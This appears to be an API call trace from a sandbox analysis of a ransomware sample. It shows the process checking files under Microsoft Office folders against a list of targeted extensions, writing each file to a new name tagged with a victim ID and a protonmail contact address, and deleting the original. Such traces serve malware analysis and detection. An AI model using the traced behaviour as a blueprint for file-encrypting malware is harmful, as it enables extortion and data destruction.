	[0187.318] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0187.318] lstrlenW (lpString=".pdf") returned 4
	[0187.318] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0187.318] lstrlenW (lpString=".xls") returned 4
	[0187.318] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0187.318] lstrlenW (lpString=".xlsx") returned 5
	[0187.318] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0187.318] lstrlenW (lpString=".ppt") returned 4
	[0187.318] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0187.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0187.318] lstrlenW (lpString=".zip") returned 4
	[0187.318] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0187.318] lstrlenW (lpString=".rar") returned 4
	[0187.318] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0187.318] lstrlenW (lpString=".bz2") returned 4
	[0187.318] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0187.318] lstrlenW (lpString=".7z") returned 3
	[0187.318] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0187.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0187.318] lstrlenW (lpString=".dbf") returned 4
	[0187.318] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0187.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0187.318] lstrlenW (lpString=".1cd") returned 4
	[0187.319] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0187.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0187.319] lstrlenW (lpString=".jpg") returned 4
	[0187.319] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0187.319] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0187.319] lstrlenW (lpString="Microsoft.Tools.Office.C2R.Common.dll") returned 37
	[0187.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0187.320] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=31328) returned 1
	[0187.320] CloseHandle (hObject=0x4a8) returned 1
	[0187.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll")) returned 0x220
	[0187.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0187.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0187.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0187.367] lstrlenW (lpString=".doc") returned 4
	[0187.367] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0187.367] lstrlenW (lpString=".docx") returned 5
	[0187.367] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0187.367] lstrlenW (lpString=".pdf") returned 4
	[0187.367] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0187.367] lstrlenW (lpString=".xls") returned 4
	[0187.367] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0187.367] lstrlenW (lpString=".xlsx") returned 5
	[0187.367] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0187.367] lstrlenW (lpString=".ppt") returned 4
	[0187.367] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0187.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0187.367] lstrlenW (lpString=".zip") returned 4
	[0187.367] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0187.367] lstrlenW (lpString=".rar") returned 4
	[0187.367] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0187.367] lstrlenW (lpString=".bz2") returned 4
	[0187.367] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0187.367] lstrlenW (lpString=".7z") returned 3
	[0187.367] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0187.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0187.367] lstrlenW (lpString=".dbf") returned 4
	[0187.367] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0187.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0187.367] lstrlenW (lpString=".1cd") returned 4
	[0187.368] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0187.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0187.368] lstrlenW (lpString=".jpg") returned 4
	[0187.368] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0187.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0187.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0187.368] lstrlenW (lpString=".doc") returned 4
	[0187.368] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0187.368] lstrlenW (lpString=".docx") returned 5
	[0187.368] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0187.368] lstrlenW (lpString=".pdf") returned 4
	[0187.368] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0187.368] lstrlenW (lpString=".xls") returned 4
	[0187.368] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0187.368] lstrlenW (lpString=".xlsx") returned 5
	[0187.368] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0187.368] lstrlenW (lpString=".ppt") returned 4
	[0187.368] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0187.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0187.368] lstrlenW (lpString=".zip") returned 4
	[0187.368] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0187.368] lstrlenW (lpString=".rar") returned 4
	[0187.368] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0187.368] lstrlenW (lpString=".bz2") returned 4
	[0187.368] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0187.368] lstrlenW (lpString=".7z") returned 3
	[0187.368] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0187.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0187.368] lstrlenW (lpString=".dbf") returned 4
	[0187.368] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0187.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0187.369] lstrlenW (lpString=".1cd") returned 4
	[0187.369] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0187.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86
	[0187.369] lstrlenW (lpString=".jpg") returned 4
	[0187.369] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0187.369] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0187.369] lstrlenW (lpString="msvcp120.dll") returned 12
	[0187.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0187.418] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=455344) returned 1
	[0187.418] CloseHandle (hObject=0x478) returned 1
	[0187.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll")) returned 0x220
	[0187.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0188.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0188.047] lstrlenW (lpString=".doc") returned 4
	[0188.047] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0188.047] lstrlenW (lpString=".docx") returned 5
	[0188.047] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0188.047] lstrlenW (lpString=".pdf") returned 4
	[0188.047] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0188.047] lstrlenW (lpString=".xls") returned 4
	[0188.047] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0188.047] lstrlenW (lpString=".xlsx") returned 5
	[0188.047] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0188.047] lstrlenW (lpString=".ppt") returned 4
	[0188.047] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0188.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0188.047] lstrlenW (lpString=".zip") returned 4
	[0188.047] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0188.047] lstrlenW (lpString=".rar") returned 4
	[0188.047] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0188.047] lstrlenW (lpString=".bz2") returned 4
	[0188.047] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0188.047] lstrlenW (lpString=".7z") returned 3
	[0188.047] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0188.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0188.047] lstrlenW (lpString=".dbf") returned 4
	[0188.047] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0188.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0188.047] lstrlenW (lpString=".1cd") returned 4
	[0188.047] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0188.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0188.047] lstrlenW (lpString=".jpg") returned 4
	[0188.047] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0188.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0188.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0188.048] lstrlenW (lpString=".doc") returned 4
	[0188.048] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0188.048] lstrlenW (lpString=".docx") returned 5
	[0188.048] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0188.048] lstrlenW (lpString=".pdf") returned 4
	[0188.048] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0188.048] lstrlenW (lpString=".xls") returned 4
	[0188.048] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0188.048] lstrlenW (lpString=".xlsx") returned 5
	[0188.048] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0188.048] lstrlenW (lpString=".ppt") returned 4
	[0188.048] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0188.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0188.048] lstrlenW (lpString=".zip") returned 4
	[0188.048] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0188.048] lstrlenW (lpString=".rar") returned 4
	[0188.048] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0188.048] lstrlenW (lpString=".bz2") returned 4
	[0188.048] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0188.048] lstrlenW (lpString=".7z") returned 3
	[0188.048] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0188.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0188.048] lstrlenW (lpString=".dbf") returned 4
	[0188.049] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0188.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0188.049] lstrlenW (lpString=".1cd") returned 4
	[0188.049] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0188.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0188.049] lstrlenW (lpString=".jpg") returned 4
	[0188.049] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0188.049] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0188.049] lstrlenW (lpString="ucrtbase.dll") returned 12
	[0188.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\ucrtbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0188.363] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=900288) returned 1
	[0188.364] CloseHandle (hObject=0x4ac) returned 1
	[0188.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\ucrtbase.dll")) returned 0x220
	[0188.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\ucrtbase.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0188.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61
	[0188.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61
	[0188.365] lstrlenW (lpString=".doc") returned 4
	[0188.365] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0188.365] lstrlenW (lpString=".docx") returned 5
	[0188.365] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0188.365] lstrlenW (lpString=".pdf") returned 4
	[0188.365] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0188.365] lstrlenW (lpString=".xls") returned 4
	[0188.365] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0188.365] lstrlenW (lpString=".xlsx") returned 5
	[0188.365] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0188.365] lstrlenW (lpString=".ppt") returned 4
	[0188.365] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0188.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61
	[0188.365] lstrlenW (lpString=".zip") returned 4
	[0188.365] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0188.365] lstrlenW (lpString=".rar") returned 4
	[0188.365] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0188.365] lstrlenW (lpString=".bz2") returned 4
	[0188.365] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0188.365] lstrlenW (lpString=".7z") returned 3
	[0188.365] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0188.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61
	[0188.365] lstrlenW (lpString=".dbf") returned 4
	[0188.365] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0188.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61
	[0188.365] lstrlenW (lpString=".1cd") returned 4
	[0188.365] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0188.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61
	[0188.366] lstrlenW (lpString=".jpg") returned 4
	[0188.366] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0188.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61
	[0188.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61
	[0188.366] lstrlenW (lpString=".doc") returned 4
	[0188.366] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0188.366] lstrlenW (lpString=".docx") returned 5
	[0188.366] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0188.366] lstrlenW (lpString=".pdf") returned 4
	[0188.366] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0188.366] lstrlenW (lpString=".xls") returned 4
	[0188.366] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0188.366] lstrlenW (lpString=".xlsx") returned 5
	[0188.366] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0188.366] lstrlenW (lpString=".ppt") returned 4
	[0188.366] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0188.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61
	[0188.366] lstrlenW (lpString=".zip") returned 4
	[0188.366] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0188.366] lstrlenW (lpString=".rar") returned 4
	[0188.366] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0188.366] lstrlenW (lpString=".bz2") returned 4
	[0188.366] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0188.366] lstrlenW (lpString=".7z") returned 3
	[0188.366] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0188.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61
	[0188.366] lstrlenW (lpString=".dbf") returned 4
	[0188.366] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0188.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61
	[0188.367] lstrlenW (lpString=".1cd") returned 4
	[0188.367] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0188.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61
	[0188.367] lstrlenW (lpString=".jpg") returned 4
	[0188.367] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0188.367] lstrcmpiW (lpString1=".msu", lpString2=".html") returned 1
	[0188.367] lstrlenW (lpString="Windows8-RT-KB2999226-x86.msu") returned 29
	[0188.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0188.368] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=615304) returned 1
	[0188.368] CloseHandle (hObject=0x4ac) returned 1
	[0188.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu")) returned 0x220
	[0188.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0188.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0188.369] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.369] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0
	[0188.370] GetLastError () returned 0x0
	[0188.370] ReadFile (in: hFile=0x4ac, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x96388, lpOverlapped=0x0) returned 1
	[0188.739] WriteFile (in: hFile=0x5c0, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x96390, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x96390, lpOverlapped=0x0) returned 1
	[0188.753] ReadFile (in: hFile=0x4ac, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0188.753] WriteFile (in: hFile=0x5c0, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0188.753] SetEndOfFile (hFile=0x5c0) returned 1
	[0188.753] CloseHandle (hObject=0x5c0) returned 1
	[0188.753] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.753] SetEndOfFile (hFile=0x4ac) returned 1
	[0188.966] CloseHandle (hObject=0x4ac) returned 1
	[0188.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0189.277] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu")) returned 1
	[0189.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0189.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0189.469] lstrlenW (lpString=".doc") returned 4
	[0189.469] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0189.470] lstrlenW (lpString=".docx") returned 5
	[0189.470] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0189.470] lstrlenW (lpString=".pdf") returned 4
	[0189.470] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0189.470] lstrlenW (lpString=".xls") returned 4
	[0189.470] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0189.470] lstrlenW (lpString=".xlsx") returned 5
	[0189.470] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0189.470] lstrlenW (lpString=".ppt") returned 4
	[0189.470] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0189.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0189.470] lstrlenW (lpString=".zip") returned 4
	[0189.470] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0189.470] lstrlenW (lpString=".rar") returned 4
	[0189.470] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0189.470] lstrlenW (lpString=".bz2") returned 4
	[0189.470] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0189.470] lstrlenW (lpString=".7z") returned 3
	[0189.470] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0189.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0189.470] lstrlenW (lpString=".dbf") returned 4
	[0189.470] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0189.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0189.470] lstrlenW (lpString=".1cd") returned 4
	[0189.470] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0189.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0189.470] lstrlenW (lpString=".jpg") returned 4
	[0189.470] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0189.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
